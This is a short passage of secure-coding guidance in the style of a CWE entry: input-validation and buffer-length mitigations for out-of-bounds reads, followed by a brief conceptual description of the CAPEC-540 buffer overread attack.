- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of introducing an out-of-bounds read, ensure that you validate and ensure correct calculations for any length argument, buffer size calculation, or offset. Be especially careful of relying on a sentinel (i.e. special character such as NUL) in untrusted inputs.
Mitigation
Architecture and Design
Strategy: Language Selection
Use a language that provides appropriate memory abstractions.
CAPEC-540: Overread Buffers
An adversary attacks a target by providing input that causes an application to read beyond the boundary of a defined buffer. This typically occurs when a value influencing where to start or stop reading is set to reflect positions outside of the valid memory location of the buffer. This type of attack may result in exposure of sensitive information, a system crash, or arbitrary code execution.